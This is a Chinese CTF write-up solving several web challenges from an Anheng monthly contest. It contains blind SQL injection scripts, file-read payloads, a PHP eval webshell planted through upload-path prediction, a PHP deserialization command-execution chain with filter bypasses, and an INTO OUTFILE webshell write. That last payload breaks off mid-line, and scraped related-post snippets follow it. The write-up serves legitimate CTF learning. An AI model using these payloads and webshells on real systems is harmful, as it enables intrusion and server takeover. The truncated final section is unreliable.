安恆11月賽Web題目復現
考完網路安全跟演算法就趕緊來複現一下題目,又學到了一波知識了23333,這次題目的質量賊好
手速要快
上一個月的原題,不多說,直接在http頭裡面找到對應的password登陸以後直接就是關於頁面上傳的功能,這裡的上傳是伺服器端的問題
直接上傳一個非php
結尾的檔案即可解析
然後可以直接輸入相關命令獲取flag不多說
好黑的黑名單
這個題目質量很好,至少我以前都沒見過這種盲注,裡面利用了between的幾個特性,又學到了2333
右鍵檢視原始碼就會發現很明顯的id
引數,這裡的思路就是SQL注入
嘗試對其進行注入,發現其明顯是存在過濾的,一旦遇到關鍵字就會返回這麼壞?想讓我下面給你吃嗎?XD
如果查詢不到的話就會返回
想讓我下面給你吃?
fuzz一下大概發現過濾的東西有
空格,*,union,單引號
等等,所以我們就不可以用內聯的注入,這裡空格我們可以用%0a
去繞過,測試一下下面就是這次盲注的重點知識利用
between and
上面兩個執行語句就解釋了為什麼可以這樣做,當select的值在between之間就會返回1,而且前面選擇出來的詞語會按照順序匹配,第一個匹配正確的話就會匹配第二個
而且還可以固定好最後一位,然後前面一步步去字母給找出
但是把資料庫跑出來以後後面繼續加上空格還是會顯示1,這在寫指令碼的時候得注意一下,還有幾點得注意下,單引號過濾掉可以使用16進位制,另外
information_schema.tables
information_schema%0a.tables
這樣去繞過
#!/usr/bin/python
# Author:0verWatch
import requests
burl = 'http://101.71.29.5:10008/show.php?id=-1'
flag = 0
ans = ''
result = ''
for i in range(40):
if flag == 0:
for j in range(127,32,-1):
if j == 33:
flag = 1
#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #web
#payload = '%0aor%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #admin,flaggg,menu
#payload = '%0aor%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand%0a0x666c61676767)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #id,f1agg
payload = '%0aor%0a(select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'
url = burl+ payload
con = requests.get(url)
# print(con.text)
if u"鄭州" in con.text:
ans = ans + chr(j)
print(result)
result = result + hex(j)[2:4]
break
print(ans)
interesting web
這個題目上來就發現有註冊,登入,找回密碼的功能,通常我們需要註冊看一下
登陸之後發現上傳頁面,但是根據頁面一開始提示說明管理員才可以上傳tar
包,這裡就容易想到軟連線,但是首先我們得以admin
身份登入,這時候根據http可以發現這應該是flask
框架寫的web
這裡有一個點就是flask
框架的session
可以在瀏覽器端檢視,並且可以讀取裡面的token
值,
這東西可以利用在找回密碼的功能上面
這裡面的token值我們可以用來直接修改admin的密碼,這東西恰好就是修改密碼需要的東西
然後再以admin身份登入,上一個軟連線的tar包,先構造一下tar包
ln -s /etc/passwd 2222222.jpg
tar cvfp 233.tar 2222222.jpg
image up
一上來就是個登入頁面其實這個登入頁面沒有用,你隨便輸如都可以登入到後臺上傳頁面
可以看到url,可能存在檔案包含,嘗試一下讀取檔案,可以讀到一下index以及upload頁面
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=index
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload
index.php
<? php
if (isset($_GET['page'])) {
if (!stristr($_GET['page'], "..")) {
$page = $_GET['page'].".php";
include($page);
} else {
header("Location: index.php?page=login");
}
} else {
header("Location: index.php?page=login");
這裡的程式碼驗證不需要任何檢驗就可以登入
<? php $error = "";
$exts = array("jpg", "png", "gif", "jpeg");
if (!empty($_FILES["image"])) {
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if ((@$_upfileS["image"]["size"] < 102400)) {
if (in_array($extension, $exts)) {
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "????????????!";
} else {
$error = "???????????????";
}
} else {
$error = "??????????????????????????????";
}
} ?>
從檔案上傳的而這段程式碼也很容易看,就是檔名加上時間戳然後再MD5拼接成新的檔名,這兩個東西我們可以進行預測
自己本地新建一個over.php
裡面的內容
<?php
phpinfo();
@eval($_POST['_']);
?>
把該檔案壓縮,然後改字尾名為.jpg的圖片檔案,接著就該預測路徑名字並使用偽協議
這裡很坑,有個時區的問題加上8*3600
# -*- coding: UTF-8 -*-
import time
import requests
import hashlib
url = "http://101.71.29.5:10007/"
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
files = {
"image":("over123.jpg",open("over.jpg","rb"))
}
#print open("over.jpg","rb")
t = int(time.time()+8*3600)
requests.post(url=url+"upload.php",files=files)
for i in range(t-100,t+150):
path = "uploads/"+md5("over123"+str(i))+".jpg"
#print 'Waiting'
status = requests.get(url=url+path).status_code
if status ==200:
print path
break
爆出路徑
uploads/cf0dd54323ba204f8151905e912964c1.jpg
最後的關鍵點是利用偽協議進行命令執行,這裡同樣的也可以使用phar,關鍵是把%23改為/就好,注意這裡不需要對檔案加上相關的字尾
http://101.71.29.5:10007/index.php?page=zip://./uploads/cf0dd54323ba204f8151905e912964c1.jpg%23over
得到flag
ezsql
這一題質量很好哇,考了SQL注入讀取檔案,反序列化,命令列執行的繞過
先看看注入點,這裡註冊進去之後在使用者資訊裡面明顯看到id引數,這裡就可以測試一下,這裡通過這次兩個題目的注入,可以學到到先要根據資料庫返回的資訊來做出自己的判斷,比如查到會回顯什麼,查不到又會回顯什麼,語法錯誤又會回顯什麼等等,根據這個東西去做出判斷應該作何注入
這裡還有一個點也是學到的就是怎麼測試他是用替換還是刪除來過濾黑名單,我們只需要再註冊的地方放輸入類似select
之類的關鍵字就會在使用者頁面發現被替換成@
。下一個題目也是類似的道理。
這一個題可以有兩種構造布林盲注的思路一種是利用limit
,另一種是用加減號等運算子號,這裡同樣是很好的學習點
可以來構造SQL讀檔案的語句了
這裡這樣構造http://101.71.29.5:10015/user/user.php?id=1-1
根據這裡的減1還是減0去判斷是否存在我們猜測的檔案
首先得了解一下當資料庫裡面secure_file_priv
的值是空的話,就可以讀取任意檔案
開始構造語句
http://101.71.29.5:10015/user/user.php?id=1-(load_file('/var/www/html/index.php') like '<%')
但是不能出現引號16進位制轉一下
http://101.71.29.5:10015/user/user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
又因為讀檔案的時候會出現換行等問題而不能全讀取因此將loadfile的內容16進位制轉一下
http://101.71.29.5:10015/user/user.php?id=1-(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)) like 0x3c25)
模仿著寫一個指令碼,這裡有點不明白的是為什麼這裡的指令碼傳進去的字元已經是16進位制字元為毛還得hex一次?除了那個%
確實需要16進位制轉一下,但是我試了一下不hex的話不能跑出來,有大佬告訴一下我原因嗎23333.
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
import requests
import binascii
import string
hex_s = lambda s:binascii.hexlify(s)
s = 'ABCDEF' + string.digits
filename = '/var/www/html/index.php'
#filename = '/var/www/html/config/waf.php'
ans = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s)) like 0x%s,1,2)'
for i in xrange(10000):
for j in s:
payload = ans + j + '%'
_url = url % (hex_s(filename),hex_s(payload))
#print _url
con = requests.get(_url, cookies={"PHPSESSID":"vn7dm5pk3dqvicrkg43om69hi0"})
if '2018' in con.content:
print '...'+payload
ans = ans + j
break
然後得到index.php的關鍵程式碼
<?php
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>
再去讀取config.php裡面的內容
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}
還有一個waf.php,對上面的$value值進行了過濾,這裡對命令執行的一些常用語句進行了過濾,所以我們需要進行繞過
<?php
function waf($str){
$black_str = "/(and|into|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str);
return addslashes($str);
}
function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+|\/| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}
?>
這裡的關鍵是分析config.php
裡面的程式碼,一看裡面存在unserialize
這樣的東西,就應該考察的是反序列化,但是這裡考的點不是魔法函式,因為建構函式裡不存在可以利用的點,但是在SetFilter
這個方法裡面存在call_user_func
這樣的回撥函式,這個函式第一個引數你想要執行的函式名,第二個引數是要傳進去該函式的引數,這裡就可以去執行命令
先構造類
$over = new Config();
$over->filter = array("system");
echo base64_encode(serialize($over));
現在的關鍵點是對$value
賦值,這個東東通過 SetFilter
這個方法去傳參,往上是通過__get
去呼叫的
這個函式的功能是可以呼叫類裡面的私有變數,也可以使用未定義的變數進行賦值,然後config引數是通過cookie
傳參的,把構造好的序列化放進cookie
裡面
CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
嘗試ls
命令,出現flag字樣的東東,但其實這是個資料夾,可以用ls -l 檢視一下
但是因為空格被過濾了,用$IFS繞過,同樣地/也被過濾了同樣需要繞過,這裡用expr substr $(pwd) 1 1
去繞過
注意這裡面的空格也得變成$IFS
,但是直接變成expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1
也不行,因為系統辨別出不出,會出現這樣的結果
所以得用\
分割一下
得到路徑下存在flag.php
string(54) "ls$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333" flag.php
開始嘗試讀取檔案了
http://101.71.29.5:10015/index.php?p=cat$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag.php
write a shell
這一題也是要測試出來可以用loadfile讀檔案,先把檔案讀出來,寫了個指令碼讀檔案,讀的是user.php
的頁面原始碼,前提是得有超過127的使用者註冊才可以很順利地讀取原始碼,如果不夠可以自己寫個指令碼跑一下
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
import requests
import re
url = "http://101.71.29.5:10011/user/user.php?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),{_},1))"
con = ''
for i in xrange(1,100000):
ans=requests.get(url.format(_=str(i)),cookies={'PHPSESSID':'bvbjr3qjrktp6qfn393f6itso0'})
s = re.findall(r"<h1>user_id:(.*?)</h1>",ans.content)
con = con+chr(int(s[0]))
print con
讀出來一部分關鍵程式碼是這樣子的
<?php
include_once('../bwvs_config/sys_config.php');
if (isset($_SESSION['user_name'])) {
include_once('../header.php');
if (!isset($SESSION['user_id'])) {
$sql = "SELECT * FROM dwvs_user_message WHERE user_name ="."'{$_SESSION['user_name']}'";
$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['user_id'];
}
$html_avatar = htmlspecialchars($_SESSION['user_favicon']);
if(isset($_GET['id'])){
$id=waf($_GET['id']);
$sql = "SELECT * FROM dwvs_user_message WHERE user_id =".$id;
$data = mysqli_multi_query($connect,$sql) or die();
do{
if($result = mysqli_store_result($connect)){
$row = mysqli_fetch_row($result);
echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>
同樣的道理我們可以把bwvs_config/waf.php裡面的內容讀出來,可以看到過濾的內容
<?php
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&]|\^)/i";
$str = preg_replace('/@/','@[email protected]',$str);
$str = preg_replace($black_str, "@",$str);
return addslashes($str);
}
?>
題目提示要寫shell,就需要找可以寫shell的檔案路徑,但得找到具有寫許可權的資料夾才可以執行,這裡的關鍵點是利用這段程式碼mysqli_multi_query的多行執行語句去執行相關的寫操作。
這裡涉及到一個新的知識點,就是SQL的預編譯語句,通過定義變數名的方式,用execute語句去執行相關操作
預製語句的SQL語法基於三個SQL語句:
PREPARE stmt_name FROM preparable_stmt;
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
{DEALLOCATE | DROP} PREPARE stmt_name;
在自己機子上試一下
因此可以來構造一下語句PREPARE over FROM "select * from ….";
但是waf裡面很明顯就是過濾了select我們需要去繞過一下還有單雙引號都被轉義,這就需要char()
以及concat()
函式的協助了,也可以正常顯示
下面就到使用into outfile
的時候了,但還是得先找到那一個目錄可以寫檔案,這裡面我們還有一個上傳的功能點沒用到,一般上傳的話我們需要開啟寫的許可權,你自己寫一次上傳的程式碼就會知道,如果沒有寫許可權的話,就會使伺服器報錯,所以圖片儲存的地方就應該是可以目錄,可以檢視影象的目錄放在哪
在這一個目錄下,這樣我們就基本確定shell該放在哪裡,這裡的話其實還有一個點就是網站目錄要怎麼顯示,可以利用show variables like ‘secure_file_priv%’;去檢視對應的資訊,如果是空的話說明哪裡都可以讀或者寫目錄了,根據user.php裡面的程式碼可以知道執行之後會顯示1,2,5列,所以我們可以將這個語句轉化一下就可以知道那個目錄可以寫了,這樣比猜靠譜多了。。。。
現在就可以構造一下語句了
"select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/over.php'"
把雙引號裡面的東西轉一下
SET @b=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80
相關推薦
安恆11月賽Web題目復現
考完網路安全跟演算法就趕緊來複現一下題目,又學到了一波知識了23333,這次題目的質量賊好
手速要快
上一個月的原題,不多說,直接在http頭裡面找到對應的password登陸以後直接就是關於頁面上傳的功能,這裡的上傳是伺服器端的問題 直接上傳一個非php結尾的檔案即可解析 然
安恆10月賽Web題目復現
前言
10月賽的時候去打那個瓜皮的領航杯(體驗極差),還是回來復現安恆的題目比較好,質量還是有保證的,學到很多東西
正文
easy audit
這個題目確實有點腦洞。。運用了兩個php函式一個是get_defined_functions這個函式是用於返回所有已定
安恆12月賽Web題解
吐槽一下
這次的web題目感覺完全是新手題,思路很直接,我就不摻和了,做完web就逃23333,繼續完成密碼學課程實驗報告去了。。。但還是記錄一下。
easy
這個題目考的是一個php反序列化的一個繞過,上來就給了一段程式碼,很簡單
<?php
@error_
安恆杯11月月賽web題目-ezsql詳細記錄
通過此題目可以學習到
1.通過load_file+like來盲注獲取檔案內容
2.php魔術方法__get函式的用法
3.bypass linux命令過濾
題目中給了註冊和登入的功能,沒有原始碼洩露
先註冊一個使用者看下進入使用者介面有什麼其他
安恆9月賽部分復現記錄
前言
趕緊趁著電腦的螢幕修好了,剛好安恆的web題目有復現,趕緊做。。。。。又從這幾個題目裡面學習到新知識了小結一下
正文
web
babybypass
這個題目我記得我當初做的時候是一直考慮著用$以及_去繞過這些數字字母之類的東西,突然發現他這個題目裡面把那個$以及
安恆杯月賽babybypass 不用英文數字getshell(一)
BABYBYPASS
先貼程式碼:
①限制字元長度35個
②不能使用英文字母和數字和 _ $
最後提示有個getFlag()函式,從這個函式入手。
我們的第一思路是直接eval執行getFlag函式,但是這裡過濾了 _ $ 無法通過異或的方法構造英文字母
安恆杯月賽 babypass getshell不用英文字母和數字
BABYBYPASS
先貼程式碼:
①限制字元長度35個
②不能使用英文字母和數字和 _ $
最後提示有個getFlag()函式,從這個函式入手。
我們的第一思路是直接eval執行getFlag函式,但是這裡過濾了 _ $ 無法通過異或的方法構造變數,下
安恆8月應急響應題目回顧
前言
最做流量分析的題目感覺還是不太熟悉,所以最近幾篇部落格都應該都是練習流量分析的題目了,就從安恆8月賽這個應急響應講起吧,記錄一下加深印象,順便小結一下自己的做題領悟。
題目地址 https://pan.baidu.com/s/13SoD6xB7YBiqpUDCIcb8mg
CTF-安恆十二月月賽部分writeup
CTF-安恆十二月月賽部分writeup
這次題目都比較簡單蛤,連我這菜雞都能做幾道。
WEB1-ezweb2
開啟網站,啥也沒有,審計原始碼,還是啥都沒有,也沒什麼功能選單,掃了一下目錄,掃到了admin.php,但是提示:你不是管理員。好吧,抓個包看看
解一下碼--:
將
[LOJ 6248]「CodePlus 2017 11 月賽」晨跑
跑步 abs scan main lan color 每次 fin sam Description
“無體育,不清華”、“每天鍛煉一小時,健康工作五十年,幸福生活一輩子”
在清華,體育運動絕對是同學們生活中不可或缺的一部分
「CodePlus 2017 11 月賽」汀博爾 (二分答案)
sca https min fix type namespace 題意 滿足 fontsize 題目鏈接:https://loj.ac/problem/6249
題意:有 n 棵樹,初始時每棵樹的高度為 H?i?,第 i 棵樹每月都會長高 A?i??。現在有個木料長度總量
[LOJ 6249]「CodePlus 2017 11 月賽」汀博爾
return 數量 sca col 題解 efi 計算 font += Description
有 n 棵樹,初始時每棵樹的高度為 H_i,第 i 棵樹每月都會長高 A_i。現在有個木料長度總量為 S 的訂單,客戶要求每塊木料的長度不能小於 L,而且木料必須是整棵樹(即不
「CodePlus 2017 11 月賽」大吉大利,晚上吃雞!
algo blog ret 不能 push %d tail tdi src n<=50000,m<=50000的圖,給s和t,問有多少點對$(a,b)$滿足
嗯。
不會。
首先最短路DAG造出來,然後兩個條件轉述一下:條件一,$N_a$表示從s到t經過a的路徑
「CodePlus 2017 11 月賽」Yazid 的新生舞會(樹狀數組/線段樹)
sizeof sum read 開頭 turn 單點 delta pac 圖片 學習了新姿勢。。(一直看不懂大爺的代碼卡了好久T T
首先數字範圍那麽小可以考慮枚舉眾數來計算答案,設當前枚舉到$x$,$s_i$為前$i$個數中$x$的出現次數,則滿足$2*s_r-
BZOJ.5093.[Lydsy17 11月賽]圖的價值(NTT 斯特林數)
題目連結
對於單獨一個點,我們列舉它的度數(有多少條邊)來計算它的貢獻:\[\sum_{i=0}^{n-1}i^kC_{n-1}^i2^{\frac{(n-2)(n-1)}{2}}\]
每個點是一樣的,所以\[Ans=n\cdot 2^{\frac{(n-2)(n-1)}{2}}\sum_{i=0}^{n
CTF-安恒十二月月賽部分writeup
nts 正常 mis dex repo 工具 應該 base64 inf
CTF-安恒十二月月賽部分writeup
這次題目都比較簡單蛤,連我這菜雞都能做幾道。
WEB1-ezweb2
打開網站,啥也沒有,審計源代碼,還是啥都沒有,也沒什麽功能菜單,掃了一下目錄
[傳遞閉包 BITSET] 「CodePlus 2017 11 月賽」大吉大利,晚上吃雞!
建出最短路圖
—(以下複製自官方題解)
定義 F(X)= 從 S 到 X 的方案數 × 從 X 到 T 的方案數 = 從 S 經過 X 到達 T 的方案數,所以滿足條件的點對 A,B 為:
F(A)+F(B)=F(T)
A 和 B 不能相互到達
對於條
LOJ6253:「CodePlus 2017 11 月賽」Yazid 的新生舞會 (線段樹)
題目分析:這題是我做CodePlus11月月賽的時候見到的,當時由於TUOJ太卡,一直被無法提交的問題困擾。導致我寫完前兩題正解後也沒有再寫T3T4的暴力。不過我還是看了一下題面,賽後研究了挺久,結果發現還是不會做QAQ(雖然80分的暴力並不需要怎麼動腦
華東師範大學2018.11月賽【EOJ Monthly 2018.11】
#include<iostream>
#include<algorithm>
#include<vector>
#include<cmath>
#include<cstring>
#include<stri
「CodePlus 2017 11 月賽」可做題
題目描述
qmqmqm 希望給 sublinekelzrip 出一道可做題。於是他想到了這麼一道題目:給一個長度為n的非負整數序列ai,你需要計算其異或字首和bi,滿足條件b1=a1,bi=b